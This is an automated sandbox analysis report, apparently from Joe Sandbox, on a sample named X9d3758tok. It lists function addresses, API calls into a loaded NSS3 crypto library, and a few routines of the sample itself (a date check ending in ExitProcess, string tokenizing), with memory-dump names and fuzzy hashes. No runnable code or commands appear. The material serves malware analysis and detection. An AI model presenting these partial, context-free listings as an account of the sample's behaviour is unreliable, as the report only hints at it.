sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6ABE9F

Strings

%s at line %d of [%.10s], xrefs: 6C6ABE98
database corruption, xrefs: 6C6ABE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6ABE89

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: d26f3c98e5156f60194d30de2db48ef66a5c6450618a3027b5c18b2a2d86bb56
Instruction ID: 264c2d4e6c5da6f6fe0823617298df0844fc0c427be391b9f82b1ed9ad43a787
Opcode Fuzzy Hash: d26f3c98e5156f60194d30de2db48ef66a5c6450618a3027b5c18b2a2d86bb56
Instruction Fuzzy Hash: 48313931A0425E8BC700CFA9C8D4AABBBA2BF81354B098554EE585BB41D771EC17C7D4

Function 6C710DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C710BDE), ref: 6C710DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C710BDE), ref: 6C710DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C710BDE), ref: 6C710DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C710BDE), ref: 6C710E32

Strings

%s incr => %d (find lib), xrefs: 6C710E2D

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: e093debeb2aef7cc9cd692655addec78c3e06f4a12d410fc2a1e4c70192d66f0
Instruction ID: 3e2ddab83f550782110a79ce2418b8b6f8e71b4a19a25677f359ad7d602700e6
Opcode Fuzzy Hash: e093debeb2aef7cc9cd692655addec78c3e06f4a12d410fc2a1e4c70192d66f0
Instruction Fuzzy Hash: F701F1727012209FE7209E6A8D49E1773ACDB45A09B09487DE909D3E41E761EC28C7E1

Function 6C7CAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]{l,00000000,?,?,6C7A6AC6,?), ref: 6C7CAC2D

Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE10
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE24
Part of subcall function 6C76ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C74D079,00000000,00000001), ref: 6C76AE5A
Part of subcall function 6C76ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE6F
Part of subcall function 6C76ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AE7F
Part of subcall function 6C76ADC0: TlsGetValue.KERNEL32(?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEB1
Part of subcall function 6C76ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C74CDBB,?,6C74D079,00000000,00000001), ref: 6C76AEC9

PK11_FreeSymKey.NSS3(?,@]{l,00000000,?,?,6C7A6AC6,?), ref: 6C7CAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]{l,00000000,?,?,6C7A6AC6,?), ref: 6C7CAC59
free.MOZGLUE(8CB6FF01,6C7A6AC6,?,?,?,?,?,?,?,?,?,?,6C7B5D40,00000000,?,6C7BAAD4), ref: 6C7CAC62

Strings

@]{l, xrefs: 6C7CAC05

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]{l
API String ID: 1595327144-1459337100
Opcode ID: 9cd2fbd31187fdc84667a6c9aa2087877441ccfa33b569cf72988208ba2bc74a
Instruction ID: 89c10a9e14c42e3f5936663dce0bf53efb252c7744665bc4834de231ee3ec8f9
Opcode Fuzzy Hash: 9cd2fbd31187fdc84667a6c9aa2087877441ccfa33b569cf72988208ba2bc74a
Instruction Fuzzy Hash: 2F017CB56002149FDF10CF15EAC4B4677A8AB04769F188078E9098F706D730E804CBA2

Function 6C6B9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6B9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C6B9D45
EnterCriticalSection.KERNEL32(?), ref: 6C6B9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C6B9DDE

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1cfc2b6079176f258265b15c9cfd351d52764caeb6efd3c86eb9f3f511d783fe
Instruction ID: 833b24e08359bff5d44e3d461dbc32fe4c97f3eaab093b0f7a3ae580c01ef3ad
Opcode Fuzzy Hash: 1cfc2b6079176f258265b15c9cfd351d52764caeb6efd3c86eb9f3f511d783fe
Instruction Fuzzy Hash: 36A19F317051008FDB299F28D99C7AE3779BB9331DF18013CE41667A41EB39A856CBD6

Function 6C741E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C741ECC

Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90AB
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E90C9
Part of subcall function 6C7E9090: EnterCriticalSection.KERNEL32 ref: 6C7E90E5
Part of subcall function 6C7E9090: TlsGetValue.KERNEL32 ref: 6C7E9116
Part of subcall function 6C7E9090: LeaveCriticalSection.KERNEL32 ref: 6C7E913F

TlsGetValue.KERNEL32 ref: 6C741EDF
EnterCriticalSection.KERNEL32(?), ref: 6C741EEF
PR_ExitMonitor.NSS3(?), ref: 6C741F37
PR_Unlock.NSS3(?), ref: 6C741F44

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: b0682270f2baa52b971bd533637350ab546c9c0d809671ee9e189e6179004b45
Instruction ID: 379a84b8ef89ea4f7fa14dc1ec287deb196bc2abbbe26ddeca324aa2b7caeb8a
Opcode Fuzzy Hash: b0682270f2baa52b971bd533637350ab546c9c0d809671ee9e189e6179004b45
Instruction Fuzzy Hash: 1A71E1729043019FD700DF24DA44A4BB7F5FF88358F148929E89893B21E731F969CB92

Function 6C7CDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7CDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7CDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C7CDE77

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: e76ec814f6fcf51cf3d57f2edddd43619e01e01981fcf1b2945d5808fbf24c34
Instruction ID: c8bd8b607b4c36d1856af3af66d7d29c0263bee653f2d58fc86dcd6dcb9fa802
Opcode Fuzzy Hash: e76ec814f6fcf51cf3d57f2edddd43619e01e01981fcf1b2945d5808fbf24c34
Instruction Fuzzy Hash: D1717671A40316CFCB20CF99C6C468AB7B4BFA9718F25817ED8586B702E770A901CF91

Function 00410FC0 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00410FE8
strtok_s.MSVCRT ref: 0041112D

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,0085DAF0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction ID: 03db8a1056b7d3decc043d16849240f9eafe82692520a9407f7f8401fd2e2a69
Opcode Fuzzy Hash: 77d8088bb27251dd49dfcd07a26e8087964298c25f1e83629a7bc62193e0fc7a
Instruction Fuzzy Hash: EF515E75A0410AEFCB08CF54D595AEEBBB5FF48308F10805EE9029B361D734EA91CB95

Function 6C71EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C71EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C71EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C71EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71EEEB
free.MOZGLUE(?), ref: 6C71EEF6

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: b71f51f0d236914b7d711b69e92818cb5de50446205629af0e371bf6dc0e1fcb
Instruction ID: 220c7b55b31d28487125013c627814151f3b903f9c620f3b10fe7bcedb624bd0
Opcode Fuzzy Hash: b71f51f0d236914b7d711b69e92818cb5de50446205629af0e371bf6dc0e1fcb
Instruction Fuzzy Hash: 0331E6716082049BEB219F2CCD4DB667BF8FB46319F180538E85A87E51E731E818CBE1

Function 6C721DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C721E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C721E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C721E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C721E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C721EAD

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: a31017844eadf58d83c2b27eb8b7bb9e033c7734f57166de88f44672a2bec730
Instruction ID: 478410be9b90472d62bbf86a1e32315f80be04382e028b06dd8f691c04e78e13
Opcode Fuzzy Hash: a31017844eadf58d83c2b27eb8b7bb9e033c7734f57166de88f44672a2bec730
Instruction Fuzzy Hash: B3213A72E04311ABD7008E68DE49B9BB398EB8472AF148638ED6957780E735DD0887D2

Function 6C77BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C72E708,00000000,00000000,00000004,00000000), ref: 6C77BE6A

Part of subcall function 6C780840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7808B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7304DC,?), ref: 6C77BE7E

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C77BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7304DC,?,?), ref: 6C77BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C77BEEB

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 1dc70fa8088bcf6b2b42988d995af2e3d49760c2a7d51ea2d60a26e3a5419659
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 73110166B0420D6BEF209966AF88F6B736D9B81B5CF044135FE04D6B52E771E8048BF1

Function 6C72AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C723FFF,00000000,?,?,?,?,?,6C721A1C,00000000,00000000), ref: 6C72ADA7

Part of subcall function 6C7814C0: TlsGetValue.KERNEL32 ref: 6C7814E0
Part of subcall function 6C7814C0: EnterCriticalSection.KERNEL32 ref: 6C7814F5
Part of subcall function 6C7814C0: PR_Unlock.NSS3 ref: 6C78150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C723FFF,00000000,?,?,?,?,?,6C721A1C,00000000,00000000), ref: 6C72ADB4

Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C7810F3
Part of subcall function 6C7810C0: EnterCriticalSection.KERNEL32(?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78110C
Part of subcall function 6C7810C0: PL_ArenaAllocate.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781141
Part of subcall function 6C7810C0: PR_Unlock.NSS3(?,?,?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C781182
Part of subcall function 6C7810C0: TlsGetValue.KERNEL32(?,6C728802,00000000,00000008,?,6C71EF74,00000000), ref: 6C78119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C723FFF,?,?,?,?,6C723FFF,00000000,?,?,?,?,?,6C721A1C,00000000), ref: 6C72ADD5

Part of subcall function 6C77FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C778D2D,?,00000000,?), ref: 6C77FB85
Part of subcall function 6C77FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C77FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8494B0,?,?,?,?,?,?,?,?,6C723FFF,00000000,?), ref: 6C72ADEC

Part of subcall function 6C77B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8518D0,?), ref: 6C77B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C723FFF), ref: 6C72AE3C

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 5d7dbaed8c45652df47850c0437e3127a0d110ad959bb9ecb0c13b2d1fe2658e
Instruction ID: 919f9896fcc96782dfcc81a865efbcd15ede8b518de59b6d026e168c0bbe7fa4
Opcode Fuzzy Hash: 5d7dbaed8c45652df47850c0437e3127a0d110ad959bb9ecb0c13b2d1fe2658e
Instruction Fuzzy Hash: 76117832E003095BE7109B249E0DBBF73ACDF9126CF044238EC2996741FB24E949C2E2

Function 00416BC0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(004210F4,?,?,00416DB1,00000000,?,0085DAF0,?,004210F4,?,00000000,?), ref: 00416C0C
sscanf.NTDLL ref: 00416C39
SystemTimeToFileTime.KERNEL32(004210F4,00000000,?,?,?,?,?,?,?,?,?,?,?,0085DAF0,?,004210F4), ref: 00416C52
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,0085DAF0,?,004210F4), ref: 00416C60
ExitProcess.KERNEL32 ref: 00416C7A

Memory Dump Source

Source File: 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2251316472.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_X9d3758tok.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction ID: 1a92bae8d2aea180e7b918fcc5e881d349bf880cfa552010dcbd9d747ca2879d
Opcode Fuzzy Hash: 8f3d302021b633d499eebc2b75f511318c1b224c781d312d182f2b4f083543dc
Instruction Fuzzy Hash: 0321CD75D142089BCF14DFE4E9459EEB7BABF48300F04852EF506A3250EB349644CB69

Function 6C74CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C761E10: TlsGetValue.KERNEL32 ref: 6C761E36
Part of subcall function 6C761E10: EnterCriticalSection.KERNEL32(?,?,?,6C73B1EE,2404110F,?,?), ref: 6C761E4B
Part of subcall function 6C761E10: PR_Unlock.NSS3 ref: 6C761E76

free.MOZGLUE(?,6C74D079,00000000,00000001), ref: 6C74CDA5
PK11_FreeSymKey.NSS3(?,6C74D079,00000000,00000001), ref: 6C74CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C74D079,00000000,00000001), ref: 6C74CDCF
DeleteCriticalSection.KERNEL32(?,6C74D079,00000000,00000001), ref: 6C74CDE2
free.MOZGLUE(?), ref: 6C74CDE9

Memory Dump Source

Source File: 00000000.00000002.2269510199.000000006C6A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2269479278.000000006C6A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269671781.000000006C83F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269729953.000000006C87E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269759732.000000006C87F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269789396.000000006C880000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2269819436.000000006C885000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_X9d3758tok.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
